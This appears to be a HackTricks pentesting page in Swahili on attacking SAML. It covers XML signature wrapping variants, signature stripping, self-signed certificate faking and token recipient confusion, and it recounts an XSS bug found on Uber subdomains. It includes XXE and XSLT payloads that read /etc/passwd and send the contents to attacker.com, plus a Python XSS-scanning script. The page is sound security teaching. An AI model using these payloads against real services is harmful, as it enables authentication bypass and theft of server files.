19 KiB
Mashambulizi ya SAML
Mashambulizi ya SAML
Jifunze kuhusu kudukua AWS kutoka mwanzo hadi kuwa bingwa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!
Njia nyingine za kusaidia HackTricks:
- Ikiwa unataka kuona kampuni yako ikionekana kwenye HackTricks au kupakua HackTricks kwa muundo wa PDF Angalia MPANGO WA KUJIUNGA!
- Pata swag rasmi ya PEASS & HackTricks
- Gundua The PEASS Family, mkusanyiko wetu wa NFTs za kipekee
- Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @carlospolopm.
- Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye HackTricks na HackTricks Cloud repos za github.
Taarifa Msingi
{% content-ref url="saml-basics.md" %} saml-basics.md {% endcontent-ref %}
Zana
SAMLExtractor: Zana ambayo inaweza kuchukua URL au orodha ya URL na kuchapisha URL ya kula SAML.
Mzunguko wa XML
Katika XML, sehemu iliyosainiwa ya XML imehifadhiwa kwenye kumbukumbu, kisha kuna uendeshaji wa encoding/decoding na saini inakaguliwa. Kimsingi, uendeshaji huo wa encoding/decoding haipaswi kubadilisha data lakini kulingana na hali hiyo, data inayokaguliwa na data halisi zinaweza kutofautiana.
Kwa mfano, angalia nambari ifuatayo:
require 'rexml/document'
doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
<Y/><![CDATA[--><X><Z/><!--]]>-->
</X>
XML
puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name
Kukimbia programu dhidi ya REXML 3.2.4 au toleo la awali kutatoa matokeo yafuatayo badala yake:
First child in original doc: Y
First child after round-trip: Z
Hii ndivyo REXML ilivyoona hati ya XML asili kutoka kwenye programu hapo juu:
Na hii ndivyo ilivyoiona baada ya mzunguko wa kuchambua na kuhifadhi:
Kwa habari zaidi kuhusu udhaifu na jinsi ya kuitumia:
- https://mattermost.com/blog/securing-xml-implementations-across-the-web/
- https://joonas.fi/2021/08/saml-is-insecure-by-design/
Mashambulizi ya Kusainiwa kwa Alama ya XML
Katika mashambulizi ya Kusainiwa kwa Alama ya XML (XSW), wahalifu hutumia udhaifu unaojitokeza wakati hati za XML zinapitishwa kupitia hatua mbili tofauti: uthibitishaji wa saini na wito wa kazi. Mashambulizi haya yanahusisha kubadilisha muundo wa hati ya XML. Kwa usahihi, mshambuliaji anaingiza vipengele vilivyodanganyifu ambavyo havidhuru uhalali wa Saini ya XML. Udanganyifu huu unalenga kuunda tofauti kati ya vipengele vinavyochambuliwa na mantiki ya programu na vile vilivyochunguzwa na moduli ya uthibitishaji wa saini. Kama matokeo, wakati Saini ya XML inabaki kuwa halali kiufundi na kupita uthibitishaji, mantiki ya programu inachakata vipengele bandia. Kwa hivyo, mshambuliaji anapita kwa ufanisi ulinzi wa uadilifu na uthibitisho wa asili wa Saini ya XML, kuruhusu uingizaji wa yaliyomo yoyote bila kugundulika.
Mashambulizi yafuatayo yanategemea chapisho hili la blogi na karatasi hii. Kwa hivyo angalia hizo kwa maelezo zaidi.
XSW #1
- Mbinu: Kipengele kipya cha mzizi kinachojumuisha saini kinazidishwa.
- Athari: Mthibitishaji anaweza kuchanganyikiwa kati ya "Jibu -> Kuthibitisha -> Subjekti" halali na "Jibu mpya -> Kuthibitisha -> Subjekti" ya mshambuliaji, ikisababisha masuala ya uadilifu wa data.
XSW #2
- Tofauti na XSW #1: Inatumia saini iliyotenganishwa badala ya saini iliyofungwa.
- Athari: Muundo "mbaya", kama XSW #1, unalenga kuwadanganya mantiki ya biashara baada ya ukaguzi wa uadilifu.
XSW #3
- Mbinu: Kuthibitisha mbaya imeundwa kwenye kiwango sawa cha muundo kama kuthibitisha asili.
- Athari: Inalenga kuchanganya mantiki ya biashara ili kutumia data ya udanganyifu.
XSW #4
- Tofauti na XSW #3: Kuthibitisha asili inakuwa mtoto wa kuthibitisha iliyodondolewa (mbaya).
- Athari: Kama XSW #3 lakini inabadilisha muundo wa XML kwa njia kali zaidi.
XSW #5
- Jambo la Kipekee: Wala Saini wala Kuthibitisha asili hazifuati usanidi wa kawaida (uliofungwa/uliofungwa kwa bahasha/uliotenganishwa).
- Athari: Kuthibitisha iliyokopishwa inafunika Saini, ikibadilisha muundo uliotarajiwa wa hati.
XSW #6
- Mbinu: Kuingizwa kwa eneo sawa kama XSW #4 na #5, lakini na mabadiliko.
- Athari: Kuthibitisha iliyokopishwa inafunika Saini, ambayo kisha inafunika Kuthibitisha asili, ikiumba muundo wa udanganyifu ulioingizwa.
XSW #7
- Mbinu: Kipengele cha Vipengele kinaingizwa na Kuthibitisha iliyokopishwa kama mtoto.
- Athari: Hii inatumia mpango wa vikwazo dhaifu wa Vipengele kwa kuepuka hatua za uthibitisho wa mpango, haswa katika maktaba kama OpenSAML.
XSW #8
- Tofauti na XSW #7: Inatumia kipengele kingine cha XML chenye vikwazo dhaifu kwa aina nyingine ya shambulio.
- Athari: Kuthibitisha asili inakuwa mtoto wa kipengele chenye vikwazo dhaifu, ikibadilisha muundo uliotumiwa katika XSW #7.
Zana
Unaweza kutumia kifaa cha Burp SAML Raider kuchambua ombi, kutumia shambulio lolote la XSW unalochagua, na kulitekeleza.
XXE
Ikiwa haujui aina gani ya mashambulizi ni XXE, tafadhali soma ukurasa ufuatao:
{% content-ref url="../xxe-xee-xml-external-entity.md" %} xxe-xee-xml-external-entity.md {% endcontent-ref %}
Majibu ya SAML ni hati za XML zilizopondwa na kubadilishwa kuwa msingi wa64 na zinaweza kuwa hatarini kwa mashambulizi ya XML External Entity (XXE). Kwa kubadilisha muundo wa XML wa Majibu ya SAML, wahalifu wanaweza kujaribu kutumia udhaifu wa XXE. Hapa ndivyo mashambulizi kama hayo yanavyoweza kuonekana:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
[...]
Vifaa
Unaweza pia kutumia kifaa cha Burp kinachoitwa SAML Raider kuunda POC kutoka kwa ombi la SAML ili kufanya majaribio ya uwezekano wa udhaifu wa XXE na udhaifu wa SAML.
Angalia pia mazungumzo haya: https://www.youtube.com/watch?v=WHn-6xHL7mI
XSLT kupitia SAML
Kwa habari zaidi kuhusu XSLT, nenda:
{% content-ref url="../xslt-server-side-injection-extensible-stylesheet-language-transformations.md" %} xslt-server-side-injection-extensible-stylesheet-language-transformations.md {% endcontent-ref %}
Extensible Stylesheet Language Transformations (XSLT) inaweza kutumika kubadilisha hati za XML kuwa muundo tofauti kama vile HTML, JSON, au PDF. Ni muhimu kutambua kwamba ubadilishaji wa XSLT hufanyika kabla ya uthibitisho wa saini ya dijiti. Hii inamaanisha kuwa shambulio linaweza kuwa na mafanikio hata bila saini halali; saini iliyosainiwa na mtu binafsi au saini isiyofaa ni ya kutosha kuendelea.
Hapa unaweza kupata POC ya kuchunguza aina hii ya udhaifu, katika ukurasa wa hacktricks uliotajwa mwanzoni mwa sehemu hii unaweza kupata mizigo ya kujaribu.
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>
Zana
Unaweza pia kutumia kifaa cha Burp kinachoitwa SAML Raider ili kuzalisha POC kutoka kwa ombi la SAML ili kufanya majaribio ya udhaifu wa XSLT.
Angalia pia mazungumzo haya: https://www.youtube.com/watch?v=WHn-6xHL7mI
Uondoaji wa Saini ya XML
Uondoaji wa Saini ya XML unachunguza tabia ya utekelezaji wa SAML wakati kipengele cha Saini hakipo. Ikiwa kipengele hiki hakipo, uthibitisho wa saini huenda usitokee, na hivyo kuwa na udhaifu. Inawezekana kufanya majaribio haya kwa kubadilisha maudhui ambayo kawaida huthibitishwa na saini.
Zana
Unaweza pia kutumia kifaa cha Burp kinachoitwa SAML Raider. Kukamata Jibu la SAML na bonyeza Ondoa Saini
. Kwa kufanya hivyo, vipengele vyote vya Saini vitaondolewa.
Baada ya kuondoa saini, ruhusu ombi kuendelea kwa lengo. Ikiwa Saini haihitajiki na Huduma
Udanganyifu wa Cheti
Udanganyifu wa Cheti ni mbinu ya kujaribu ikiwa Mtoa Huduma (SP) anathibitisha kwa usahihi kuwa Ujumbe wa SAML umesainiwa na Mtoa Huduma wa Kitambulisho (IdP) anayeaminiwa. Inahusisha kutumia *cheti kilichojisaini kusaini Jibu la SAML au Kauli, ambayo husaidia katika kutathmini mchakato wa ukaguzi wa uaminifu kati ya SP na IdP.
Jinsi ya Kufanya Udanganyifu wa Cheti
Hatua zifuatazo zinaelezea mchakato kwa kutumia kifaa cha Burp kinachoitwa SAML Raider:
- Kamata Jibu la SAML.
- Ikiwa jibu lina saini, tuma cheti kwa SAML Raider Certs kwa kutumia kifungo cha
Tuma Cheti kwa SAML Raider Certs
. - Katika kichupo cha SAML Raider Certificates, chagua cheti kilichosafirishwa na bonyeza
Hifadhi na Jisaini Kibinafsi
ili kuunda nakala iliyosainiwa kibinafsi ya cheti halisi. - Rudi kwenye ombi lililokamatwa katika Proxy ya Burp. Chagua cheti kipya kilichojisaini kutoka kwenye orodha ya kunjuzi ya Saini ya XML.
- Ondoa saini zilizopo kwa kubonyeza kifungo cha
Ondoa Saini
. - Saini ujumbe au kauli na cheti kipya kwa kutumia kifungo cha
(Re-)Saini Ujumbe
au(Re-)Saini Kauli
, kama inavyofaa. - Wasilisha ujumbe uliosainiwa. Uthibitisho wa mafanikio unaonyesha kuwa SP inakubali ujumbe uliosainiwa na cheti chako kilichojisaini, kufichua udhaifu wa uchakataji wa uthibitisho wa ujumbe wa SAML.
Utatanishi wa Mpokeaji wa Alama / Utatanishi wa Lengo la Mtoa Huduma
Utatanishi wa Mpokeaji wa Alama na Utatanishi wa Lengo la Mtoa Huduma unahusisha kuhakikisha kuwa Mtoa Huduma anathibitisha kwa usahihi mpokeaji aliyekusudiwa wa jibu. Kimsingi, Mtoa Huduma anapaswa kukataa jibu la uwakilishi ikiwa lilikuwa kwa mtoa huduma tofauti. Kitu muhimu hapa ni uga wa Mpokeaji, uliopo ndani ya kipengele cha SubjectConfirmationData cha Jibu la SAML. Uga huu unabainisha URL inayoonyesha mahali Ambapo Kauli inapaswa kutumwa. Ikiwa mpokeaji halisi haifanani na Mtoa Huduma aliyekusudiwa, Kauli inapaswa kuchukuliwa kuwa batili.
Jinsi Inavyofanya Kazi
Ili shambulio la Utatanishi wa Mpokeaji wa Alama ya SAML (SAML-TRC) liwezekane, hali fulani lazima zikutane. Kwanza, lazima kuwe na akaunti halali kwenye Mtoa Huduma (inayojulikana kama SP-Legit). Pili, Mtoa Huduma uliolengwa (SP-Target) lazima akubali alama kutoka kwa Mtoa Huduma wa Kitambulisho ambaye anahudumia SP-Legit.
Mchakato wa shambulio ni rahisi chini ya hali hizi. Kikao halali kinazinduliwa na SP-Legit kupitia Mtoa Huduma wa Kitambulisho ulioshiriki. Jibu la SAML kutoka kwa Mtoa Huduma wa Kitambulisho kwenda SP-Legit linakamatwa. Jibu hili la SAML, ambalo awali lilikuwa limekusudiwa kwa SP-Legit, kisha linaelekezwa kwa SP-Target. Mafanikio katika shambulio hili yanapimwa na SP-Target kukubali Kauli, kuruhusu upatikanaji wa rasilimali chini ya jina la akaunti ile ile iliyotumiwa kwa SP-Legit.
# Example to simulate interception and redirection of SAML Response
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
"""
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.
Args:
- saml_response: The SAML Response intercepted (in string format).
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.
Returns:
- status: Success or failure message.
"""
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
try:
# Code to send the SAML Response to SP-Target would go here
return "SAML Response successfully redirected to SP-Target."
except Exception as e:
return f"Failed to redirect SAML Response: {e}"
XSS katika Kazi ya Kujiondoa
Utafiti asili unaweza kupatikana kupitia kiunga hiki.
Wakati wa mchakato wa kufanya jaribio la kubaini orodha ya saraka, ukurasa wa kujiondoa uligunduliwa kwenye:
https://carbon-prototype.uberinternal.com:443/oidauth/logout
Baada ya kufikia kiungo hiki, kuna ukurasa uliendelezwa kuelekea:
https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1
Hii ilifunua kwamba parameter ya base
inakubali URL. Kwa kuzingatia hilo, wazo lilijitokeza la kubadilisha URL na javascript:alert(123);
kwa lengo la kuanzisha shambulio la XSS (Cross-Site Scripting).
Utekaji wa Misaada
Zana ya SAMLExtractor iliotumika kuchambua subdomains za uberinternal.com
kwa ajili ya domain zinazotumia maktaba ile ile. Baadaye, script ilibuniwa ili kulenga ukurasa wa oidauth/prompt
. Script hii inajaribu kwa XSS (Cross-Site Scripting) kwa kuingiza data na kuangalia kama inaonekana katika matokeo. Katika kesi ambapo data inaonekana, script inaashiria ukurasa kama una udhaifu.
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()
with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + " Vulnerable : " + doesit)
Marejeo
- https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/
- https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/\
- https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/
- https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/
Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!
Njia nyingine za kusaidia HackTricks:
- Ikiwa unataka kuona kampuni yako inatangazwa kwenye HackTricks au kupakua HackTricks kwa muundo wa PDF Angalia MPANGO WA KUJIUNGA!
- Pata swag rasmi ya PEASS & HackTricks
- Gundua The PEASS Family, mkusanyiko wetu wa NFTs ya kipekee
- Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @carlospolopm.
- Shiriki mbinu zako za kudukua kwa kuwasilisha PR kwa HackTricks na HackTricks Cloud github repos.